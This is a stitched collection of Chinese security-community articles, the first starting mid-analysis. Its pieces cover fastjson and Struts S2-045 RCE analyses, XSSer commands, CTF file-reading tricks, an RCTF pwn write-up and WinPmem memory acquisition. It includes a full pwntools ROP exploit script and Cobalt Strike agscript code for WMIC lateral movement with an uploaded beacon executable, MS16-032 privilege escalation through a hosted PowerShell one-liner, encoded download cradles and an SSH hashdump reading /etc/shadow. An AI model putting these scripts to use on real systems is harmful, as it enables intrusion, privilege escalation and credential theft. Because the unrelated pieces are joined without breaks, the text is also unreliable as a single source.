此时就到了java的命名服务管理的类，此时调用getURLContext函数请求ldap，进一步在其中调用getURLObject来通过从远程的ldap服务获取Context对象
最终完成exploit.class类的实例化，也就是工厂类的实例化，熟悉的getObjectInstance()，此时就完成了反序列化，从而触发exploit里的构造函数
整个漏洞的函数调用栈如下图所示
以下是一些针对fastjson不同版本的payload,可以看到bypass其实在@type类的前面加上L或者[,这都是因为fastjson在处理域时会将扫描到的这些字符进行去除
## FastJson1.2.47 RCE
漏洞影响版本：`fastjson<1.2.51`
exp.java
Exploit.class与1.2.24相同，在1.2.24以后fastjson默认关闭了反序列化任意类的操作，增加了checkautotype，也就是指定要用来反序列化的类不能够在一些黑名单中，从而做了一定的限制。此次漏洞利用的核心点是java.lang.class这个java的基础类，在fastjson
1.2.48以前的版本没有做该类做任何限制，加上代码的一些逻辑缺陷，造成黑名单以及autotype的绕过。我们仍然在parse处下断点，这里正向F7跟进到如下图所示
在DefaultJSONParser中，对json字符串进行扫描解析，此时解析到key值为a，接下来就对a中的字段进行解析，这里解析到@type以后，进而扫描到typename为java.lang.class,此时将调用parseconfig类的checkautotype函数来检测要反序列化的类。
接着在checkautotype函数中此时从mappings中或者deserializers.findClass()方法来获取反序列化对象的对应类
这里实际上在findClass函数中的this.bucktet中去找要反序列化的类，而在bucket变量中包含了大量的基础类
这里关键点在这几句代码，找到的类通过getName()函数调用后就能获得类的类名，然后将该类名与传入的要反序列化的类名比较，若相等，即找到，则直接返回该类，这里返回值为类类型。
接着回到IedentityHashMap的checkautotype函数中返回java.lang.class类
进一步回到com/alibaba/fastjson/parser/DefaultJSONParser.class中调用了对应的序列化处理类，也就是有了要反序列化的类，此时咋处理这类就是接下来的操作，获取的类为com.alibaba.fastjson.serializer.MiscCodec
接下来到364行即开始调用MiscCodec的deserialze函数
在其deserialze函数中可以看到其首先取得了我们payload字符串中var对应的值，也就是我们要利用的JdbcRowSetImpl类
接着对我们要反序列化的类进行一个类型判断，一直到303行，此时类满足判断，即java.lang.class为类类型的类，所以直接返回strVal，也就是恶意类
在TypeUtils类中可以看到此时loadclass函数的cache默认为true，这也是个重要的导致bypass的地方
那么这里首先loadclass尝试在mapping中取加载java.lang.class要引入的类，要是没有找到的话，此时将通过mapping.put方法将该类放到mapping中，那么不需要autotype就完成了对恶意类的加载
完成了对第一部分的json的字符串的解析已经成功加载了恶意类，因此此时json字符串继续向后扫描，扫描到b，此时处理b对应的值，当扫描到@type时继续调用checkautotype函数
那么因为之前我们已经通过java.lang.class的加载类的功能将jdbcrowsetimpl类加载到了mappings中，因此这里getclassfrommapping就能够返回我们的恶意类
接着又回到Defaultjsonparse类中
接着对于jdbcrowsetimpl类，调用fastjsonDeserialize_1_jdbcrowsetimpl类来对该类进行解析调用，那么接下来因为已经bypass了黑名单和autotype，因此之后rce的流程和1.2.24的一样了
还是回到熟悉的setAutoCommit函数，具体流程见上面1.2.24的描述，最终能够触发calc，此时用mashalsec打ldap一样是可以的
整个漏洞的函数调用栈如下图所示
# 漏洞修复
在1.2.48版本的补丁中，首先黑名单做了更新，其中就包含了java.lang.class这个类，并且MiscCodec中也将传入的cache参数置为了false，这样通过payload中a部分的java.lang.class引入JdbcRowSetImpl类，b部分通过
mappings获取JdbcRowSetImpl类的方法就失效了。
# 参考
<https://www.anquanke.com/post/id/181874>
<https://www.kingkk.com/2019/07/Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-1-2-24-1-2-48/>
<https://saucer-man.com/information_security/346.html> | 社区文章 |
# 摘要
**XSSer——用于检测和利用XSS漏洞的自动Web测试框架工具**
XSS是一种非常常见的漏洞类型，它分布非常广泛，且比较容易被检测到。
攻击者可以在无需验证的情况下将不受信任的JavaScript片段插入到应用程序中。然后，该JavaScript片段将会被访问目标站点的受害者执行。<https://gbhackers.com/a3-cross-site-scripting-xss/>
跨站点“Scripter”(又名Xsser)是一个自动框架，用于检测、利用和报告基于Web的应用程序中的XSS漏洞。
它包含几个可以绕过某些过滤器的选项，以及各种特殊的代码注入技术。
# 安装XSSer
Xsser可以在许多平台上运行。它需要Python和以下库：
- python-pycurl - Python bindings to libcurl
- python-xmlbuilder - create xml/(x)html files - Python 2.x
- python-beautifulsoup - error-tolerant HTML parser for Python
- python-geoip - Python bindings for the GeoIP IP-to-country resolver library
Debian上的安装为例：
sudo apt-get install python-pycurl python-xmlbuilder python-beautifulsoup python-geoip
# 用法
xsser -h列出所有功能：
root @ kali ：〜＃xsser -h
尝试简单的注入攻击
root @ kali ：〜＃xsser -u“http://192.168.169.130/xss/example1.php?name=hacker”
从Dork注入，选择“Google”作为搜索引擎：
root @ kali ：〜＃xsser -De“google”-d“search.php？q =”
在本KaliLinux教程中，使用自动payload从URL执行多次注入，建立反向连接。
xsser -u“http://192.168.169.130/xss/example1.php?name=hacker”-auto -reverse-check -s
简单的URL注入、使用GET、在Cookie上注入和使用DOM阴影
xsser -u“http://192.168.169.130/xss/example1.php?name=hacker”-g“/ path？vuln =”-Coo -Dom -Fp =“vulnerablescript”
# 启发式参数过滤
root@kali:~# xsser -u “http://192.168.169.130/xss/example1.php?name=hacker” –heuristic
# 启动GUI界面
root@kali:~# xsser –gtk
也可以将TOR代理与Xsser一起使用。
# 主要特点
使用GET和POST两种方法进行注入。
包括各种过滤器和绕过技术。
既可用于命令行，也可用于GUI。
提供详细的攻击的统计数据。
# 针对XSS的常见防御
可信任的输入
它是否符合预期的模式？
永不反射不信任的数据
上下文编码(Java/Attribute/HTML/CSS)。
本文链接：https://gbhackers.com/xsser-automated-framework-detectexploit-report-xss-vulnerabilities/ | 社区文章 |
### 0x00前言
前几天参加HITB-XCTF的readfile。除了常规的：`cat,tac,less,more,head,tail,nl
tailf`命令之外，收集了几个花式读文件内容的命令，可能只有CTF环境中才用得到吧！，记录分享一下。
### Linux花式读取文件内容
_ps:目标是获取flag.txt的内容_
* static-sh读取文件：`static-sh ./flag.txt`等同于`/???/??????-?? ./flag.txt`
static-sh ./flag.txt
#输出结果：
./flag.txt: line 1: flag{this_is_a_test}: not found
# 等同于
/???/??????-?? ./flag.txt
#输出结果：
./flag.txt: line 1: flag{this_is_a_test}: not found
* paste读取文件`paste ./flag.txt /etc/passwd`
paste ./flag.txt /etc/passwd
#输出结果：
flag{this_is_a_test} root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
//省略
* diff读取文件 `diff ./flag.txt /etc/passwd`
diff ./flag.txt /etc/passwd
#输出结果：
1c1,45
< flag{this_is_a_test}
\ No newline at end of file
--- > root:x:0:0:root:/root:/bin/bash
> daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
> bin:x:2:2:bin:/bin:/usr/sbin/nologin
> sys:x:3:3:sys:/dev:/usr/sbin/nologin
> sync:x:4:65534:sync:/bin:/bin/sync
* od读取文件`od -a ./flag.txt`
od -a ./flag.txt
#输出结果：
0000000 f l a g { t h i s _ i s _ a _ t
0000020 e s t }
0000024
* bzmore读取文件`bzmore ./flag.txt`
bzmore ./flag.txt
#输出结果：
------> ./flag.txt <------ flag{this_is_a_test}
* bzless读取文`bzless ./flag.txt`
echo `bzless ./flag.txt`
#输出结果：
------> ./flag.txt <------ flag{this_is_a_test} | 社区文章 |
作者：[Hcamael@知道创宇404实验室](http://0x48.pw)
发布时间：2017-05-23
这次RCTF，对于本以为掌握了的ROP，学到了新的姿势，在这里总结下。
本文不进行实例调试，用脑子DEBUG......详细文件可以去我的github上找...
#### RCalc
首先是计算器这题，作者自己实现了一个canary，首先在每个函数开头通过`sub_400AAB`函数生成了一个随机数，存放到堆中，和栈上面，然后在函数结尾使用`sub_400B92`函数检查这个栈上的随机数和堆中的随机数是否一样。
然后可以去看看`sub_400A06`函数，在存放canary的堆上面有个一个0x100的堆，用于存放需要保存的计算结果，这个结果保存的函数没设定边界值，所以可以覆盖到canary的堆，从而覆盖到canary。
绕过canary后，在`sub_400FA2`函数中，scanf函数存在栈溢出，正常情况下想，之后就是通过ROP很容易就能getshell了。
但是，这里有一个坑点，scanf函数的`%s`不能出现`\x09`, `\x0a`, `\x0b`, `\x0c`, `\x0d`, `\x20`
经过测试，如果输入中出现这几个字符，会被转成`\x00`，或者之后的数据就不会被读入变量中。
这对我来说非常致命，因为got表的地址中都含有`\x20`，还有一些ROP被这些字符限制着，当时还想到了一个别的思路，比如利用`read`函数或者`sub_400c4e`函数，但是没找到控制rdx的ROP所以没法用`read`函数，另外，就算能调用，也没有思路下一步该怎么做，该读到什么位置？然后该怎么通过`read`继续溢出？
而关于`sub_400c4e`函数，虽然函数中含有`\x0c`字符，但是我找到了一个
add eax, 0x48002018 ; test eax, eax ; je 0x400803 ; call rax
通过这个ROP就能调用`sub_400c4e`了，而`rdx`为最后一次choice输入的值，因为处理这个输入值得时候有个cdqe，虽然如果我输入0x100000005在判断中也是5，通过这个思路，可以让`sub_400c4e`函数中进行溢出，rdi和rsi也都是可控的。
但是在测试中发现，首先我不知道栈地址，所以没法控制rsi，而在`sub_400FA2`函数的ret指令时，rsi正好就是一个栈地址，在当前栈地址的很上面，这种情况下，栈溢出会覆盖掉`sub_400c4e`的局部变量，导致没法成功进行栈溢出。
在比赛结束之后，看来国外的一篇wp后，学到了两个知识点:
<http://hama.hatenadiary.jp/entry/2017/05/22/092142>
首先是他们找的ROP：
mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8];
pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15; ret ;
通过这个ROP基本可以调用任意函数了，我找ROP一般是使用默认的命令:
$ ROPgadget --binary RCalc
但是却没有这个ROP，需要用
$ ROPgadget --binary RCalc --depth 11
才有第二句ROP，而第一句还是没有。。所以我发现，我在找ROP上还是太菜了....
_UPDATE 20170528_
经过大佬教育，原来这是64位程序中存在的一个万能ROP，这两句ROP在同一个函数里，而这个函数是gcc编译进程序中去的
* * *
其实，当时我已经基本可以做到调用任意函数了，但是关键点还是第二点。
使用:
leave ; ret ;
来修改栈地址，这样一来思路就很清晰了。
找一段可以写的地址，比如bss区域，写入ROP，然后再把rsp修改成该地址，就可以getshell了，同read函数向bss区域写值，然后使用`leave`修改rsp
我还是太菜，从来没想过修改栈地址......
#### Recho
本来也是一道简单的栈溢出，但循环的判断:
while(read(0, buf, 0x10)>0)
要栈溢出首先得先停了这个循环，在shell中可以使用ctrl+d表示EOF，但是脚本咋写？ 发现pwntools可以用下面的命令发送EOF
s = remote(xxxx,xx)
s.sock.shutdown(socket.SHUT_RW)
但是这样我们没法继续输入了，所以我们需要发送一次payload就getflag，我们只能getflag而不能getshell，因为服务器已经关闭了接收我们数据的连接。
这题没有libc，所以写ROP又是一个技术活....
使用下面这个PoC:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = "debug"
# context.terminal = ['terminator', '-x', 'bash', '-c']
debug = 1
if debug:
p = remote("127.0.0.1", 10001)
else:
p = remote("recho.2017.teamrois.cn", 9527)
e = ELF('Recho')
# gdb.attach(p)
padding = 0x38*'a' #padding
# write(1, got['read'], 8)
payload = ""
payload += p64(0x4008a3) # pop rdi;ret
payload += p64(1) # rdi = 1
payload += p64(0x4008a1) # pop rsi; pop r15; ret
payload += p64(e.got['read']) # rsi = got.plt read
payload += p64(0) # r15 = 0
payload += p64(0x4006fe) # pop rdx;ret
payload += p64(8) # rdx = 8
payload += p64(e.symbols['write']) # call write
# write(1, got['write'], 8)
payload += p64(0x4008a3) # pop rdi;ret
payload += p64(1) # rdi = 1
payload += p64(0x4008a1) # pop rsi; pop r15; ret
payload += p64(e.got['atoi']) # rsi = got.plt atoi
payload += p64(0) # r15 = 0
payload += p64(0x4006fe) # pop rdx;ret
payload += p64(8) # rdx = 8
payload += p64(e.symbols['write']) # call write
p.readuntil("server!\n")
p.sendline('1000')
p.sendline(padding + payload)
p.recv()
p.sock.shutdown(1)
print u64(p.recv(8)) - u64(p.recv(8))
p.interactive()
经过远程和本地测试对比，发现远程的libc应该和我本地的一样
然后使用本地的libc写payload就好了。。
思路是改写got表中随便一个函数的地址改成system就好了，比如我修改的是atoi函数，然后找binary中的ROP，找到下面三个：
pop rdi; ret;
pop rax; ret;
add [rdi], al; ret;
通过这三个，我们就能修改偏移了，比如:
payload += p64(0x4008a3)+p64(0x601040) # pop rdi; ret; rdi = 0x601040; atoi
payload += p64(0x4006fc)+p64(0x10) + p64(0x40070d) # pop rax; ret; rax = 0x10; add [rdi], al; ret;
payload += p64(0x4008a3)+p64(0x601041) # pop rdi; ret; rdi = 0x601041;
payload += p64(0x4006fc)+p64(229) + p64(0x40070d) # pop rax; ret; rax=0xe5; add [rdi], al; ret;
这相当于got表中atoi函数的地址加上0xe510
同样再使用上面的ROP往bss中写入`cat flag`，最后输出的指令是`system('cat flag')`
#### 总结
本以为栈溢出都会了，其实还是太菜.....
* * * | 社区文章 |
# CobaltStrike插件开发官方指南 Part3
翻译+实践
原文地址：
https://www.cobaltstrike.com/agscript-script/index.html
## 0x05 Beacon
`Beacon`是`Cobalt Strike`后渗透的重要功能。 本章中将探讨如何使用`agscript`自动执行`Beacon`的一些功能。
### 元数据处理
`Cobalt
Strike`给每个`Beacon`会话都分配了一个随机ID，执行任务时任务的元数据与每个Beacon的ID相关联，使用`beacons`函数可查询到查询所有当前Beacon会话的元数据，`beacon_info`函数则是用于查询制定`Beacon`会话的元数据。
Demo：
command beacons {
local('$entry $key $value');
foreach $entry (beacons()) {
println("== " . $entry['id'] . " ==");
foreach $key => $value ($entry) {
println("$[20]key : $value");
}
println();
}
}
处理方式和数组一致。
### Aliases
快捷命令，和macOS等系统上的使用道理是一样的，使用[alias](https://www.cobaltstrike.com/aggressor-script/functions.html#alias)函数直接注册，看demo：
alias hello {
blog($1, "Hello World!");
}
(和command函数感觉没啥差异。)
快捷命令参数的用法和其他语言一样，$0是脚本本身，$1是第一个参数，以此类推，不再做赘述。
官方在此处提了下注册beacon别名的函数[beacon_command_register](https://www.cobaltstrike.com/aggressor-script/functions.html#beacon_command_register),主要作用就是方便把beacon命令写成接口吧，但是没有具体的说明,官方函数库里面代码还写错了。【难过.png】
alias echo {
blog($1, "You typed: " . substr($1, 5));
}
beacon_command_register(
"echo",
"echo text to beacon log",
"Synopsis: echo [arguments]\n\nLog arguments to the beacon console");
使用上述代码注册后即可在beacon里面使用快捷命令。
### 处理新Beacons会话
此处可以理解为给新的Beacons会话添加一个自动运行的脚本，或者是让所有的新会话都运行一遍写好的脚本。
涉及到的函数是[beacon_initial]())
官方说明：
on beacon_initial {
# do some stuff
}
这其实是个很好用的函数，写个设置[自启代码](https://github.com/TheKingOfDuck/myScripts/blob/master/PrivilegeHelperEN.cna)，有新会话进来就自动加载，以后就不用担心重启会话掉了。
这里有个缺陷，当Beacon第一次收到元数据时会触发`beacon_initial`事件。 这意味着DNS
Beacon在被要求运行命令之前不会触发`beacon_initial`。 所以如果需要与首次连接C2的DNS
Beacon进行交互的话，请使用`beacon_initial_empty`事件。
### 右键菜单
直接看官方示例：
popup beacon_bottom {
item "Run All..." {
prompt_text("Which command to run?", "whoami /groups", lambda({
binput(@ids, "shell $1");
bshell(@ids, $1);
}, @ids => $1));
}
}
这里有两个函数可以在右键菜单中添加功能项，分别是`beacon_top`和`beacon_bottom`。
### 任务描述
原文标题为Acknowledging Tasks，字面意思确认任务？？？
官方demo：
alias survey {
btask($1, "Surveying the target!", "T1082");
bshell!($1, "echo Groups && whoami /groups");
bshell!($1, "echo Processes && tasklist /v");
bshell!($1, "echo Connections && netstat -na | findstr \"EST\"");
bshell!($1, "echo System Info && systeminfo");
}
添加一个btask函数来描述一下任务，第二个参数用用了ATT＆CK矩阵中的信息分类，比如demo参数中的T1082是系统信息挖掘，方便对攻击信息进行筛选整理。相比println，也就是多了这个描述。
分类详情：
https://attack.mitre.org/
#### 案例1 已有指令覆盖
Aliases添加的快捷指令可以覆盖已存在的命令，直接看一个覆盖内置powershell指令的demo：
alias powershell {
local('$args $cradle $runme $cmd');
# $0 is the entire command with no parsing.
$args = substr($0, 11);
# generate the download cradle (if one exists) for an imported PowerShell script
$cradle = beacon_host_imported_script($1);
# encode our download cradle AND cmdlet+args we want to run
$runme = base64_encode( str_encode($cradle . $args, "UTF-16LE") );
# Build up our entire command line.
$cmd = " -nop -exec bypass -EncodedCommand \" $+ $runme $+ \"";
# task Beacon to run all of this.
btask($1, "Tasked beacon to run: $args", "T1086");
beacon_execute_job($1, "powershell", $cmd, 1);
}
从上到下面逐行理解：
line1 定义本地变量。
line2 $0是获取输入的原始指令，使用substr函数获取第十一个字符之后的字符串("powershell"十个字符串加一个空格)
line3 使用beacon_host_imported_script函数导入脚本，这里的host只是程序自动运行的临时web服务，并非远程主机的，所以$1写脚本的位置即可。
line4 编码字符串，之所以用UTF-16LE应该是临时web服务的编码设定问题。
line5 拼接命令
line7 描述任务详情
line8 使用beacon_execute_job函数执行命令并返回结果给Beacon
同理，可覆盖原有shell指令，用于在环境变量中隐藏Windows命令：
alias shell {
local('$args');
$args = substr($0, 6);
btask($1, "Tasked beacon to run: $args (OPSEC)", "T1059");
bsetenv!($1, "_", $args);
beacon_execute_job($1, "%COMSPEC%", " /C %_%", 0);
}
可以利用环境变量来做一些免杀吧。
#### 案例2 横向渗透
看一下官方Beacon脚本的扩展示例。 先注册一条beacon命令wmi-alt。 并在参数中获取目标地址和监听器。
然后生成一个绑定到监听器的可执行文件，并将其复制到目标，最终使用wmic命令来运行它。
首先，让我们扩展Cobalt Strike的帮助并注册我们的wmi-alt别名：
# register help for our alias
beacon_command_register("wmi-alt", "lateral movement with WMIC",
"Synopsis: wmi-alt [target] [listener]\n\n" .
"Generates an executable and uses wmic to run it on a target");
完整的实现代码：
alias wmi-alt {
local('$mydata $myexe');
# check if our listener exists
if (listener_info($3) is $null) {
berror($1, "Listener $3 does not exist");
return;
}
# generate our executable artifact
$mydata = artifact($3, "exe", true);
# generate a random executable name
$myexe = int(rand() * 10000) . ".exe";
# state what we're doing.
btask($1, "Tasked Beacon to jump to $2 (" . listener_describe($3, $2) . ") via WMI", "T1047");
# upload our executable to the target
bupload_raw!($1, "\\\\ $+ $2 $+ \\ADMIN$\\ $+ $myexe", $mydata);
# use wmic to run myexe on the target
bshell!($1, "wmic /node: $+ $2 process call create \"c:\\windows\\ $+ $myexe $+ \"");
# complete staging process (for bind_pipe listeners)
bstage($1, $2, $3);
}
bupload_raw函数的第二个参数是上床到的目标地址，第三个参数是生成的数据。详情可查看[bupload_raw](https://www.cobaltstrike.com/aggressor-script/functions.html#bupload_raw)函数的详细说明。
#### 案例3 提权
和案例2类似，这里先使用[beacon_exploit_register](https://www.cobaltstrike.com/aggressor-script/functions.html#beacon_exploit_register)函数注册一个exp名，方便后面调用。
beacon_exploit_register("ms16-032", "Secondary Logon Handle Privilege Escalation (CVE-2016-099)", &ms16_032_exploit);
完整demo：
sub ms16_032_exploit {
local('$script $oneliner');
# acknowledge this command
btask($1, "Tasked Beacon to run " . listener_describe($2) . " via ms16-032", "T1068");
# generate a PowerShell script to run our Beacon listener
$script = artifact($2, "powershell");
# host this script within this Beacon
$oneliner = beacon_host_script($1, $script);
# task Beacon to run this exploit with our one-liner that runs Beacon
bpowershell_import!($1, script_resource("Invoke-MS16032.ps1"));
bpowerpick!($1, "Invoke-MS16032 -Command \" $+ $oneliner $+ \"");
# handle staging (if we're dealing with a named pipe Beacon; does nothing otherwise)
bstage($1, $null, $2);
}
这里的beacon_host_script函数不同于上面的beacon_host_imported_script性质是一样的，为了解决生成的脚本体积过大而导致的一些错误而生。
## 0x06 SSH会话
Cobalt Strike的SSH客户端使用了SMB Beacon协议并实现Beacon命令调用以及子功能的使用。
从AgScript的角度来看，SSH会话是一个包含较少命令的Beacon会话。
### SSH会话的性质
与Beacon会话非常相似，SSH会话也具有自己的唯一ID。 Cobalt Strike将任务和元数据与此ID相关联。
beacons功能还将返回有关所有Cobalt Strike会话（SSH会话和Beacon会话）的信息。 使用-isssh可检测当前会话是否是SSH会话。
同理-isbeacon用于检测当前会话是否是Beacon会话。
一个用于过滤Beacon中ssh会话的demo函数
sub ssh_sessions {
return map({
if (-isssh $1['id']) {
return $1;
}
else {
return $null;
}
}, beacons());
}
### SSH快捷命令
直接看demo：
ssh_alias hashdump {
if (-isadmin $1) {
bshell($1, "cat /etc/shadow");
}
else {
berror($1, "You're (probably) not an admin");
}
}
除此之外之外还可以使用ssh_command_register注册ssh命令。用法和beacon一致。
ssh_alis echo {
blog($1, "You typed: " . substr($1, 5));
}
ssh_command_register(
"echo",
"echo posts to the current session's log",
"Synopsis: echo [arguments]\n\nLog arguments to the SSH console");
### SSH新会话处理
和beacon相似度极高，几乎就是把beacon这个关键字关城ssh即可。比如下属dome：
on ssh_initial {
# do some stuff
}
beacon使用到的是beacon_initial。传输的唯一参数$1为ssh会话的ID。
### 右键菜单
和beacon右键菜单的写法除了名称不同，其他无异。
* beacon：beacon_bottom，beacon_top
* ssh ： ssh
demo
popup ssh {
item "testPopup" {
prompt_text("Which command to run?", "w", lambda({
binput(@ids, "shell $1");
bshell(@ids, $1);
}, @ids => $1));
}
}
官方写明确写了ssh会话只是beacon会话的一个子集而已。 | 社区文章 |
# s2-045 分析
1. 漏洞分析
以下分析基于版本 struct 2.3.20 版本
struct 使用java
ee中的Filter去拦截请求，并实现自己的功能。也就是说，用户所发出的请求，首先会在`org.apache.struts2.dispatcher.ng.filter`中的StrutsPrepareAndExecuteFilter类去执行。首先执行类中的doFilter方法。这个方法是自动调用的，在这里可以struct拦截用户的请求，并实现自己的业务代码。于是会执行`prepare.wrapRequest`这个调用。如下图
我们跟入这个函数
会执行`dispatcher.wrapRequest`这个函数。于是继续跟入
在这里，将会判断一下是否包含multipart/form-data这个头。注意，在这里，并没去区分是什么http方法，也就是说，get方法强行包含一个带有恶意代码的content-type头，也会执行到这里的。
在这里，首先判断一下是否为null和是否包含multipart/form-data。如果不包含，也就是get方法和post表单提交，则执行else里面的内容。如果包含，也就是说可能有文件上传，则执行if里面的内容。
在if中，首先获取到默认的解析器
可以查看一下multipartHandlerName的默认值
也就是获取默认配置中的值，而在struct的默认配置(org.apache.struct2的default.properties)中，这个值恰好为jakarta，默认配置为
回到dispatcher.wrapReques中，获取到默认的解析器后，将会把MultiPartRequestWrapper这个类实例化，执行MultiPartRequestWrapper的构造函数。跟入MultiPartRequestWrapper的构造函数
在这里，将会执行muiti.pase函数，因为这里的multipartrequest为JakartaMultiPartRequest类，于是将会执行JakartaMultiPartRequest.parse方法，跟入之
这里是重点，在这里将会执行java的捕获异常，如果捕获到异常的花，将会执行builderrorMessage方法，也就是产生漏洞的地方。继续跟入，将会执行processUpload函数
在这里，将会调用parseRequest对请求进行解析，跟入
在这里，将会调用upload.parseRequest函数，跟入
现在已经进入org.apache.commons.fileupload的FileUploadBase类，注意在这里，没有对FileItemStreamImpl进行捕获异常，于是跟入FileItemStreamImpl的构造函数中
在这里，将会得到content-type头，并且检查一下是否以multipart开头。所以，exp中并不会以multipart开头。于是在这里将会抛出异常，并将content-type信息放入异常中。
这里并没有任何代码捕获异常，于是向函数调用方继续抛出，到org.apache.commons.fileupload的FileUploadBase类的parseRequest方法，但是parseRequest方法中，恰好没有对这段代码捕获异常，于是继续向上抛出异常。在JakartaMultiPartRequest.parseRequest方法中，也没有捕获异常，于是到JakartaMultiPartRequest.processUpload方法中。在这里，也没有捕获异常，于是返回到JakartaMultiPartRequest.pase函数中。这里对代码捕获异常，于是在这里，将会执行catch里面的语句，也就会在这里调用builderrorMessage函数，参数为异常的信息，也就是包含恶意content-type头的那一段字符串。跟入这个函数
在这里将会执行LocalizedTextUtil.findText。谷歌一下这个函数的信息
发现这里可能会执行ognl语句，跟入这个函数
将会执行getDefaultMessage，参数为包含payload的content-type头，跟入
在这里，将会执行TextParseUtil.translateVariables，谷歌一下这个函数
到这里，将会把包含payload的content-type头作为ognl语句去执行。再继续跟，就是表达式处理的过程了。于是，漏洞就产生了 | 社区文章 |
# 如何在启用虚拟安全模式（VSM）的系统上进行内存采集
|
##### 译文声明
本文是翻译文章，文章原作者 rekall-forensic，文章来源：rekall-forensic.com
原文地址：<http://blog.rekall-forensic.com/2018/09/virtual-secure-mode-and-memory.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
本文主要是我最近对于开源内存获取实用程序WinPmem的漏洞发现与分析成果。读者可以在Velocidex/c-aff4发布页面（
<https://github.com/Velocidex/c-aff4>
）上找到最新版本的WinPmem，需要注意的是近期该软件已经从Rekall框架迁移到了AFF4框架。
这个故事一开始起源于有人询问我如何在受虚拟安全模式（VSM）保护的计算机上实现内存采集。现在，想要进行内存采集，有很多可以选择的工具，但我们有一个最爱，那就是WinPmem。WinPmem是AFAIK唯一的开源内存采集工具。该工具在几年前发布，并且直到目前没有更新过。但是，我们已经发现，这一工具会在启用了虚拟安全模式的Windows系统上崩溃。
2017年，Jason Hale在DFRWS上发表了精彩的演讲（ <https://www.dfrws.org/conferences/dfrws-usa-2017/sessions/virtualization-based-security-forensics-perspective>
），在演讲中他提出了大量的内存采集工具，并发现大多数工具在启用虚拟安全模式的系统上都会出现蓝屏（ <https://df-stream.com/2017/08/memory-acquisition-and-virtual-secure/>
）。随后，其中的一些工具进行了修复，但我没有找到任何关于它们具体修复方式的信息。目前，WinPmem是仍然还在崩溃的工具之一。
## 打印物理内存范围
在我听到这些情况之后，我立刻吹了吹我Windows主机上面的灰尘，并启用了虚拟安全模式。然后，我尝试运行已发布版本的WinPmem（V3.0.rc3）。果不其然，我立刻就遇到了BSOD，真是糟糕。
起初，我认为物理内存范围检测是问题所在。也许在虚拟安全模式下，我们用WinPmem检测到的内存范围是错误的，这样一来使得我们读入了无效的物理内存范围。大多数工具会使用未公开的内核函数MmGetPhysicalMemoryRanges()来获取物理内存范围，但它只能在内核模式下访问。
为了确认，我在WinPmem中只需要使用-L标志，打印出从该函数获得的范围。这个标志表示WinPmem只会加载驱动程序、报告内存范围并退出，不会实际读取任何内存，所以我推测应该也不会崩溃。
这些内存范围实际上看起来有点奇怪，它们与没有启用虚拟安全模式情况下同一台主机的内存情况看起来有明显不同。
现在，我尝试从另外一个途径来检查物理内存范围。我编写了一个Velociraptor工具来收集注册表中硬件管理器所显示的物理内存范围。由于无法从用户空间访问MmGetPhysicalMemoryRanges()（
<http://www.reactos.org/pipermail/ros-diffs/2009-June/031391.html>
），因此系统会在每次启动时将内存范围写入注册表中。在这里，我们其实还可以使用Alex Ionescu的meminfo（ <http://www.alex-ionescu.com/?p=51> ）从内存空间中转储（Dump）出内存范围。
结果表明，其范围似乎与驱动程序报告的内容一致。
最后，我试图用DumpIt（ <https://www.comae.com/> ）取得内存镜像，这是一个优秀的内存镜像取证工具，它运行时也没有发生崩溃：
DumpIt程序产生了一个Windows崩溃转储镜像格式。令我们激动的是，DumpIt显示的CR3值与WinPmem上显示的一致。尽管DumpIt没有明确显示出其使用的物理内存范围，但由于它使用了crashdump格式文件，我们可以借助Rekall看到编码到崩溃转储（Crashdump）中的范围：
因此，在这里我们能够确认，这一问题并不是由于WinPmem在有效物理内存范围之外进行读取而产生的，DumpIt也对相同的范围进行了读取，但它并不会崩溃。
显然，要修复任何错误，都会涉及到更新驱动程序组件，因为所有镜像取证工具的用户控件组件都是读取相同的范围。我进行了多年的内核开发，而我的代码签名证书已经过期好几年了。由于这些代码签名证书需要EV，因此它们非常贵。我比较担心不知情的用户会尝试在支持虚拟安全模式的系统上使用WinPmem并导致蓝屏，这种系统正在变得越来越普遍，由此就带来了非常大的风险。
我更新了DFIR列表，并公布了我发现的需要修复内核驱动程序的问题，由于我的代码签名证书过期，我将无法对其进行修复。我觉得目前来说，唯一负责任的做法就是给予用户充分的提示，并建议用户考虑使用其他同类工具。
接下来发生的事情令我感到惊讶，我收到了DFIR社区的积极回应，收到了许多电子邮件，大家慷慨地为我赞助了代码签名证书，并且对WinPmem出现的问题表示遗憾。最后，来自Binalyze的Emre
Tinaztepe提出将会签署新的驱动，并分享到社区。能看到开源社区的大家如此团结，这感觉真是不错。
## 问题修复
至此，我开始研究WinPmem崩溃的原因。要进行内核开发，我们需要使用Drive Development Kit（DDK）安装Visual
Studio。这个过程需要很长的时间，并且需要下载很多个GB的软件。
经过一段时间后，我成功部署了开发环境，检查了WinPmem代码，并尝试使用新构建的驱动程序对崩溃进行复现。但令我惊讶的是，崩溃这次没有出现，并且工具完全正常运行。这一点令我非常困惑。
事实证明，这一问题在2016年已经得到了修复，但我完全忘记了这件事。然后，我寻找了我的邮件，并发现在2016年10月与Jason
Hale的对话。我的代码签名证书是在2016年8月到期的，因此虽然修复程序已经开发完成，但我没能将其重新编译到驱动程序中并发布。
我们仔细研究问题修复的过程，关键在于这段代码：
char *source = extension->pte_mmapper->rogue_page.value + page_offset;
try {
// Be extra careful here to not produce a BSOD. We would rather
// return a page of zeros than BSOD.
RtlCopyMemory(buf, source, to_read);
} except(EXCEPTION_EXECUTE_HANDLER) {
WinDbgPrint("Unable to read from %p", source);
RtlZeroMemory(buf, to_read);
}
这段代码尝试读取映射页，但如果发生了段错误（Segfault），则会捕获错误，并用零填充页，不会导致BSOD。当时，我认为这种修复方式有点逃避问题，因为我们完全不知道为什么会发生崩溃。但是，如果真的发生了崩溃，那我们还是更希望零填充（Zero
Pad），而不是BSOD。但是，为什么从物理RAM中读取页会产生内存错误呢？
要理解这一点，我们首先需要了解什么是基于虚拟化的安全性。Microsoft Windows是通过虚拟安全模式（VSM）实现的：
